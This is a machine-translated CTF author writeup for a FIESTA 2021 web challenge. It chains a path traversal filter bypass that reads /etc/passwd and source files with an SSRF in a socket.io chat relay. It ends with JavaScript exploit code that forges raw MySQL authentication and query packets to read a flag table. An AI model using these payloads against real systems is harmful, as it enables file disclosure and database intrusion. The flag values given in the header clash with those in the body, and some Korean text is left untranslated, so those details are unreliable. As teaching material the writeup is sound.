金融安全院 FIESTA 2021 - 出题人 Writeup
FSI cha tin gse rvi ce! Web 题目出题人题解 —— 利用 SSRF 执行 MySQL 任意查询
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)如果想在本地搭建环境解题,可以访问下面的 GitHub 链接获取题目源码。
https://github.com/JaewookYou/fiesta2021_webchall_FSI-cha-tin-gse-rvi-ce
fiesta2021_webchall
题目名称:FSI cha tin gse rvi ce!
- 出题人:安全评估2组主任 Yu Jae-wook
- 出题领域:Web安全
- 总分:600分
- Flag1(100分):
fiesta{ok_y0u_g0t_the_ext_server's_code!_lets_dig_the_2nd_flag!} - Flag2(100分):
fiesta{congrat_y0u_g0t_all_of_th3_ext&int_server's_code!} - Flag3(400分):
fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?} - Description
- `A公司最近购买了开发并提供聊天服务的解决方案提供商B公司的聊天服务,并将其与A公司的服务器进行了集成…… 作为A公司内部安全漏洞分析团队的一员,你接到了任务,负责调查这个集成的聊天服务是否安全。 让我们通过获取内部数据库中存在的 Flag,来证明是否存在聊天服务内网数据库泄露的可能性。
- 本题共有 3 个 Flag。最终 Flag 存在于内部数据库的 flag 表中。
- 服务器每 30 分钟初始化一次。
- 本题目针对 Chrome 浏览器进行了优化。`
题目运行方法
- 开始:
nohup ./run.sh& - 暂停:
./stop.sh - 日志:
nohup ./logs.sh&之后tail -f ./logs.txt - 运行 run.sh 时,服务器每 30 分钟会进行一次完全初始化并重新运行。
题目设计思路
- 整个题目服务的大框架是 聊天服务
- 这是一个类似于在对多家金融机构进行漏洞分析评估时遇到的聊天咨询服务的环境。
- 通常是通过引入外部聊天咨询服务并进行集成(Integration)来实现的。
- 因此,设有独立的聊天咨询服务服务器,Web 服务器充当客户端与聊天咨询服务之间的中继角色。
- 在这种环境下,如果中继服务存在 SSRF (Server Side Request Forgery) 漏洞,由此产生的威胁是解决核心问题的关键点。
- 由于错误的异常处理、错误的过滤以及使用用户输入值处理重要逻辑等原因导致漏洞产生,需要将这些结合起来解决问题。
题目环境
- 服务器语言为 python flask
- flask_socketio(外网 Web 服务器)/ socketserver(内网聊天 API 服务器)/ mysql(内网聊天数据库服务器)
- Client 与 Web 服务器通过 socketio 通信,解析从客户端接收的数据并发送到内网聊天 API 服务器。
- 内网聊天 API 服务器根据从 Web 服务器接收的数据查询聊天 Database,并将结果返回给 Web 服务器。
- Web 服务器将收到的聊天相关数据传递给客户端。
出题人 Write-Up
- 首先查看题目提供的 Dockerfile,可以看出由外网、内网和数据库这三台服务器组成。
- 可以确认数据库使用的是 5.7版本。
- 需要在了解这些情况的前提下进行解题。
外网源代码泄露,第一个 Flag
-
首先查看发送图片的功能,
-
客户端将其转换为
data:image/png格式并以 base64 编码发送。 -
此外存在 filename 参数,通过响应的聊天数据可知,该参数(即文件名)会被写入消息内容中。
-
确认在 filename 中输入
'等部分字符时,会被 replace 处理并在文件名中消失。 -
此外,可知
../这种可以进行相对路径跳转的字符串中的..会被 replace 处理。 -
如果将上述两者混合,构造如
.'./,就可以组合出能跳转相对路径的../。 -
通过这种方式,在 filename 参数中输入如
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwd这样的文件名进行注册,文件名就会变成../../../../../../../../etc/passwd。 -
虽然显示 upload error,但查看实际的 upload result:
HTTP/1.0 200 OK
Content-Type: text/plain; charset=UTF-8
Access-Control-Allow-Credentials: true
Connection: close
Server: Werkzeug/2.0.1 Python/3.8.10
Date: Thu, 12 Aug 2021 10:40:43 GMT
42["uploadImageResult","[x] upload \"/app/ext_app/uploads/test/../../../../../../../../../../../etc/passwd\" error"]-
如上所示,webroot 下的绝对路径被泄露了。
-
然后刷新页面加载 chat message,可以看到它绕过了过滤,读取了输入路径的文件(此处为 /etc/passwd)并放入了 img tag 中。
-
此时,假设
/app/ext_app/是 Web 服务器运行的 path,在 filename 参数中输入/app/ext_app/app.py即可获取外网源代码。 -
获取第一个 flag fiesta{th1s_1s_the_st4rt_0f_th3_ch4ll3ng3}
内网源代码泄露,第二个 Flag
-
首先查看注册时上传头像的流程,由于是通过 socket 通信将 file content 发送到内网,所以文件位于内网服务器。
-
上传小于 16kb 的头像时,聊天时会以
/getProfileImage?id={id}的形式获取头像。 -
查看
/getProfileImage的 response 值,服务器会返回content(data:image/png 格式变形后的图片)和filename(上传的文件名)。 -
确认注册时在 filename 中输入
'等部分字符会被 replace 处理并在文件名中消失。 -
与获取外网源代码时一样,输入
.'./会变成../。 -
通过这种方式,注册时给定如
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwd的文件名,将会泄露 /etc/passwd。 -
与获取外网源代码时一样,response message 中暴露了绝对路径。
-
并且即使发生这样的报错,尝试使用注册的 id 和 pw 登录,也会发现可以正常登录。(错误的异常处理)
-
如上所述,登录后通过
/getProfileImage?id={userid},可以确认 /etc/passwd 的文件内容被包含在注入了 ../../../../etc/passwd 进行注册的 id 的 profile image 中。 -
与外网一样,根据暴露的绝对路径泄露
/app/int_app/app.py,即可获取内网源代码和第二个 Flag。
获取第二个 flag fiesta{cheerup!_y0u_c0uld_s0lve_the_l4st_p4rt!}
通过 SSRF 执行 MySQL 任意查询,最后一个 Flag
- 现在可以通过泄露的源代码进行 white-box 分析。
- 外网和内网通过 socket 进行通信。此时使用的 socket 为了保持会话,在外网 flask 的
users字典中以每个 session 的 uuid 为 key 在内存中进行管理。
# ext_app/app.py
def sessionCheck(loginCheck=False):
...
if flask.session["uuid"] not in users:
flask.session["host"] = ("172.22.0.4",9091)
print(f"[+] new socket conn {flask.session['uuid']}")
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])- 访问各页面时,会通过
sessionCheck函数检查当前是否持有 session,如果没有 session,则将session['host']存储为172.22.0.4:9091(内网),并以此连接 socket。
# ext_app/app.py
@socket_io.on("join")
def join(content):
channel = content['channel']
userid = content['userid']
if flask.session["userid"] == userid and flask.session["uuid"] == channel:
if 'chatserver' in content:
if flask.session["uuid"] in users:
users[flask.session["uuid"]].close()
chatserver = content['chatserver']
t = chatserver.split(':')
flask.session["host"] = (t[0], int(t[1]))
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])
flask.session["channel"] = channel
flask_socketio.join_room(channel)
sioemit("join",{"result":"success"}, channel)
else:
sioemit("join",{"result":"fail"}, channel)- 但是,当 socket.io 以 "join" 进行 emit 时,如果客户端请求的参数中存在
chatserver参数,则会通过该参数重置session["host"],并据此重新建立 socket connection。
/* exploit.js */
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
sock.emit("join",data);
});- 因此,如上所述,在向
joinnamespace 进行 emit 时,利用请求参数中的chatserver参数,会产生可以向任意主机和端口发送 raw packet 的 SSRF 漏洞。
# int_app/app.py
class mysqlapi:
def __init__(self):
self.conn = pymysql.connect(
user = 'chatdb_admin',
passwd = 'th1s_1s_ch4tdb_4dm1n_p4ssw0rd',
host = '172.22.0.5',
db = 'chatdb',
charset = 'utf8'
)- 内网 app.py 中给出了建立 db connection 的信息。因此,如果模仿 mysql client 与 mysql server 建立 connection 的过程,然后发送 query,就会返回发送的 query 的结果。
# ext_app/app.py
@socket_io.on("chatsend")
def chatsend(content):
if not sessionCheck(loginCheck=True):
resp = "[x] please login"
sioemit("newchat", resp, flask.session["channel"])
return
if "sendtome" in content:
sendtome_flag = True
else:
sendtome_flag = False
try:
if type(content) != dict:
content = content.encode('latin-1')
content = json.loads(content)
if content["from"] != flask.session["userid"]:
print(f"[x] {content['from']} != {flask.session['userid']}")
return "[x] request from user is different from session"
if content["msg"] == "":
return "[x] blank content. please input content"
except Exception as e:
pass
resp = socksend(users[flask.session["uuid"]], content)
if sendtome_flag:
sioemit("newchat", resp, users[flask.session["userid"]])
else:
sioemit("newchat", resp, users[resp["to"]])
sioemit("newchat", resp, users[resp["from"]])-
要触发 SSRF 发送 raw packet,需要利用处理不当的异常处理语句。
-
本来如果是客户端的正常请求,应该以 json 格式正确发送。如果发送了不符合 json 格式的 content,在
content = json.loads(content)处会发生 exception,从而进入 exception 处理语句。 -
然而这里的 except 处理语句没有任何操作,只是 pass 过去了。因此,发生错误的上一行
content = content.encode('latin-1')已执行,用户的 input 原样保留在 content 变量中,并原样作为resp = socksend(users[flask.session["uuid"]], content)语句的参数被传递并发送。 -
因此,可以通过 socket 发送任意想要的 raw packet。
-
但是,发送后收到的响应必须正确传递给客户端。如果是发给我自己,使用
flask.session["userid"]作为users字典的 key;如果不发给我自己,为了向发送者和接收者双方的 socket io channel 发送,会获取 socket 发送的结果并在那里解析发送者和接收者。 -
我们向 mysql 直接发送 raw packet 并收到的响应值中自然不存在发送者和接收者信息,因此必须激活
sendtome_flag才能将 raw packet 发送的响应值接收到客户端。 -
sendtome_flag是在检查 content 中是否有sendtome的if "sendtome" in content:条件语句中设置的。如果 content 是 json,这本来是检查 content 字典中是否存在 sendtome 这个 key 的条件语句;但在发送 raw packet 时,这变成了检查字符串类型的 content 中是否存在 sendtome 这个单词的条件语句,所以只要 packet 中包含 sendtome,就能激活发给我自己的分支。 -
现在需要用 raw packet 重现 mysql connection 过程。
-
我们熟知的用
Gopherous生成 payload 的情况通常是 mysql connection 没有密码的时候。如果存在密码,需要查看 mysql-server 设置了哪种 authentication 方式,mysql 5 版本使用mysql_native_password。(8.0 以上使用caching_sha2_password) -
确认了给定的 Dockerfile 中 mysql 版本为 5.7,为了通过 SSRF 重现 mysql connection,必须理解 mysql_native_password 的构成原理和 connection 过程。
-
查看 mysql internals - connection phase packets 会出现 connection 过程,直接用 wireshark 设置环境后抓包 connection phase,可以确认流程如下:
- server greeting (connection 时服务器发送)
- send login request -> receive server seed
- send mysql_native_password hash -> receive auth ok
- (if password match) send mysql query -> receive query result
SHA1( password ) XOR SHA1( "20-bytes random data from server(seed)" + SHA1( SHA1( password ) ) )- 在第 1 步从服务器接收 seed,将其与 db password 结合生成上述哈希后,在第 2 步发送给服务器,并确认其响应值。
- 因此,只要构造 raw packet 走一遍上述流程即可,但问题在于必须激活
sendtome(即发给我自己)功能才能无报错地获取 raw packet send 的 response,这意味着每个步骤的 packet 中都必须包含 "sendtome" 字符串。
0. server greeting (connection 시 서버가 전송)
1. send login request -> receive server seed
2. send mysql_native_password hash->receive auth ok
3. (if password match) send mysql query -> receive query result- 在网络的应用层(Application Layer)与 mysql 收发 packet,根据 mysql 收发 packet 的特性,可以进行
将连续的多个 packet 构造成一次发送("AAAABBBBCCCC"),或将一个 packet 拆分成两个发送("AA","AA")等操作。 - 利用这一点,需要构造上述步骤组成的 mysql connection & query packet,使 sendtome 字符串能进入每个 packet 中。因为中间包含获取 server seed 并据此生成 password hash 的过程,所以至少要分 2 步以上构造 packet,同时要让 sendtome 字符串进入 packet 内。
- 只是当前通过 socket 收发数据的过程是 send->recv->send->recv 这样 1:1 进行的,所以在第 1 步发送 login request 时,第一次 recv 会收到 connection 时服务器发送的 server greeting packet。
- 因此,为了获取 server seed,需要在 send 之后执行两次 recv。为了实现这一点,使用上面提到的
将一个 packet 拆分成两个发送("AA","AA")的方法。
function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex("cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65")
setTimeout(function(){console.log("send 1 round");sock.emit("chatsend", p1);},500)
setTimeout(function(){console.log("send 2 round");sock.emit("chatsend", "sendtome");},1500)
}- 第一个数据包
b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'- 第二个数据包
b'sendtome'- 适当地篡改 mysql raw packet 开头的 3 字节 length,仅保留最后的 sendtome 8byte 发送,从而诱导
TCP segment of a reassembled PDU,使其变成 send -> recv -> (send, 原来的第一个 packet) -> recv。
async function step2(serverSeed){
//// mysql native password hashing process
// SHA1( password ) XOR SHA1( "20-bytes random data from server" <concat> SHA1( SHA1( password ) ) )
console.log("[+] seed "+btoa(serverSeed));
var sp = await sha1(password);
var ssp = await sha1(convertFromHex(sp))
var sssp = await sha1(serverSeed+convertFromHex(ssp))
console.log("[+] sssp "+btoa(sssp));
var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
console.log("[+] hashed password "+btoa(hashedPassword))
var p1 = "\x14\x00\x00\x03"+hashedPassword
var query = "select * from flag#sendtome";
var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`
var packet = p1+p2;
setTimeout(function(){console.log("send 3 round");sock.emit("chatsend", packet);},500)
setTimeout(function(){console.log("send 4 round");sock.emit("chatsend", "sendtome");},1500)
}-
至此获得了 server seed,利用从内网代码中得知的 db 密码和 server seed 组合生成密码哈希。
-
这次通过将两个 packet 合并为一次发送("AAAABBBB"),将发送密码哈希的 packet 和 query request packet 合并发送,并篡改 query request packet 的请求长度,将其设置为包含 sendtome(8byte) 的长度。
-
将 query 设置为
select * from flag#sendtome,在末尾加注释,即使后面跟了 sendtome 也能成为正常的 query,发送后,通过与服务器的交互过程,flag 就会飞过来。 -
说明太复杂了,用图片和文字总结如下。```
- [TCP reassemble A] login request 전송
- [TCP reassemble A] sendtome(8byte) 전송
- [B] password hash + [TCP reassemble C] query request(+#sendtome) 전송
- [TCP reassemble C] sendtome(8byte) 전송
최종 Exploit Code 및 마지막 Flag
마지막 플래그fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?}
评论